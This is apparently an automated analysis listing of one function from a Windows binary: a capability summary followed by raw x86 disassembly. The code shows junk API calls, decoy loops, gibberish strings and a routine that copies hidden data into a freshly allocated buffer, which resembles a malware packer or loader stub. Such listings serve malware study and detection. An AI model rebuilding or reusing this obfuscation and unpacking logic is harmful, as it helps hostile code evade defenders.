Function at 0x470870
Capabilities:
Create pipe
Get file attributes
Get file size
Get geographical location
Manipulate console buffer
Move file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1864
call fcn.004084b0
mov eax, dword [0x474008]
xor eax, esp
mov dword [esp + 0x1860], eax
mov edx, dword [0x475430]
mov ecx, dword [0x2ab099c]
push ebx
push esi
push edi
xor eax, eax
mov edi, 0xec58ae96
or esi, 0xffffffff
cmp eax, 0x4db
jne 0x4708b4
lea ecx, [edx + 0x9e49]
cmp ecx, 0xbcf
jne 0x4708c8
mov dword [0x475f10], edi
mov dword [0x475f14], esi
inc eax
cmp eax, 0x1180b56
jl 0x4708a7
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x2ab099c], ecx
xor esi, esi
mov edi, edi
cmp esi, 0x55b777
jne 0x4708f2
mov eax, dword [0x474fd8]
mov dword [0x2ab0acc], eax
cmp ecx, 0x3c
jne 0x470901
push 0
call edi
mov ecx, dword [0x2ab099c]
inc esi
cmp esi, 0x4cd970b6
jl 0x4708e0
mov edi, dword [sym.imp.KERNEL32.dll_SetCommMask]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
push 0
push 0
call edi
call ebx
cmp esi, 0x16ea57
jg 0x470931
inc esi
cmp esi, 0x9438f3
jl 0x470918
mov eax, dword [0x2ab099c]
cmp eax, 0x2a
jne 0x470a07
xor esi, esi
lea ecx, [esp + 0xc]
push ecx
push esi
push str.tuyiwozasevapaviha
push esi
push esi
mov dword [0x2ab0990], esi
mov dword [0x2ab0994], esi
call dword [sym.imp.KERNEL32.dll_GetStringTypeExA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
xor eax, eax
push esi
mov dword [esp + 0x22], eax
mov dword [esp + 0x26], eax
mov dword [esp + 0x2a], eax
mov word [esp + 0x2e], ax
lea eax, [esp + 0x86c]
push eax
push str.devex
lea ecx, [esp + 0x28]
push ecx
push esi
xor edx, edx
push esi
mov word [esp + 0x34], dx
call dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadAffinityMask]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
push esi
lea edx, [esp + 0x6c]
push edx
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push esi
push esi
call sub.KERNEL32.dll_Process32First
push esi
push esi
call fcn.004010a3
push esi
push esi
call fcn.00401212
push esi
push esi
call fcn.004010a3
push esi
call fcn.00408874
push esi
call fcn.0040307e
push esi
call fcn.00401015
push esi
call fcn.00401132
add esp, 0x28
push esi
call fcn.004016cd
cmp eax, 0x7c
jne 0x470b07
xor esi, esi
push esi
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
lea ecx, [esp + 0x106c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
push esi
lea edx, [esp + 0x30]
push edx
push esi
lea eax, [esp + 0x74]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0x2e
lea ecx, [esp + 0x3c]
push esi
push ecx
mov dword [esp + 0x40], esi
call fcn.00405090
add esp, 0xc
push esi
lea edx, [esp + 0x38]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push esi
push esi
lea eax, [esp + 0x470]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push esi
push esi
push esi
lea ecx, [esp + 0x24]
push ecx
mov dword [esp + 0x28], esi
call dword [sym.imp.KERNEL32.dll_CreatePipe]
xor eax, eax
xor edx, edx
mov word [esp + 0x12], ax
xor ecx, ecx
mov word [esp + 0xe], dx
lea eax, [esp + 0x1c]
push eax
mov word [esp + 0x10], cx
mov ecx, dword [esp + 0x10]
push ecx
mov word [esp + 0x18], dx
mov edx, dword [esp + 0x18]
push edx
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
push esi
lea ecx, [esp + 0x86c]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp dword [0x2ab099c], 0x2d
jne 0x470af9
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push esi
call fcn.004011fc
mov eax, dword [0x2ab099c]
add esp, 4
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, dword [0x2ab099c]
mov esi, eax
xor ecx, ecx
mov dword [0x2ab07e4], esi
test edx, edx
jbe 0x470b4c
mov edi, dword [0x2ab0acc]
mov eax, 0x17bc
nop
mov bl, byte [edi + ecx + 0x9e49]
mov byte [esi + ecx], bl
cmp edx, 0x8d
jne 0x470b47
mov dword [0x2ab07e8], eax
inc ecx
cmp ecx, edx
jb 0x470b30
call fcn.00470590
call fcn.00470450
call fcn.004707e0
mov esi, dword [sym.imp.KERNEL32.dll_AddAtomA]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, dword [sym.imp.KERNEL32.dll_MoveFileA]
mov dword [esp + 0xc], 0
cmp dword [0x2ab099c], 0x41
jne 0x470b91
push str.nojuwemajubihakolinik
call esi
push 0
push 0
call edi
push 0
push 0
call ebx
cmp dword [esp + 0xc], 0xd4f9f
jne 0x470ba0
call fcn.00470440
cmp dword [0x2ab099c], 0xc
jne 0x470bbc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov eax, dword [esp + 0xc]
inc eax
cmp eax, 0x24cb95
mov dword [esp + 0xc], eax
jl 0x470b75
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov ebx, dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
mov dword [esp + 0xc], 0x1dfe99
cmp dword [0x2ab099c], 0x7c4
mov dword [0x2ab07ec], 0x8e4e0198
jne 0x470c2e
push str.niganowexocetuwezozikefusicobizuzoxukifizanecebelozanojarazirisexizuhejocabiboyafalufahosemifiladudokafizibalisucopot
call esi
xor ecx, ecx
xor eax, eax
lea edx, [esp + 0x14]
push edx
mov word [esp + 0x14], ax
mov word [esp + 0x16], cx
mov eax, dword [esp + 0x14]
push eax
push ecx
push ecx
push ecx
call edi
push 0
push 0
push 0
push 0
push 0
push 0
call ebx
sub dword [esp + 0xc], 1
jne 0x470be6
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoA]
mov ebx, dword [sym.imp.USER32.dll_GetClassLongW]
xor esi, esi
lea ecx, [esp + 0x34]
push ecx
push 0
call edi
push 0
push 0
call ebx
cmp esi, 0x408e
jle 0x470c64
cmp dword [esp + 0x3c], 0xf5bed7
jne 0x470c6d
inc esi
cmp esi, 0x687ed2
jl 0x470c43
mov ecx, dword [esp + 0x186c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401006
mov esp, ebp
pop ebp
ret